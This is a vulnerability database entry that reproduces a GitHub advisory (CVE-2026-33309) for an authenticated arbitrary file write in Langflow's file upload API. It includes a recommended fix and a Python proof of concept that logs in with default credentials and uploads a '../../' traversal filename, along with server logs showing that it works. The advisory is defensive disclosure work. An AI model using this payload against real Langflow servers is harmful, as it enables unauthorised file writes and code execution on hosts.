GHSA-G2J9-7RJ2-GM6C
Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-03-25 20:52Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt
Impact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.1"
},
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33309"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-73",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T17:46:43Z",
"nvd_published_at": "2026-03-24T13:16:02Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n f\"{BASE_URL}/api/v2/files/\",\n headers={\"Authorization\": f\"Bearer {token}\"},\n files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures\tsecret_key traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
"id": "GHSA-g2j9-7rj2-gm6c",
"modified": "2026-03-25T20:52:20Z",
"published": "2026-03-19T17:46:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.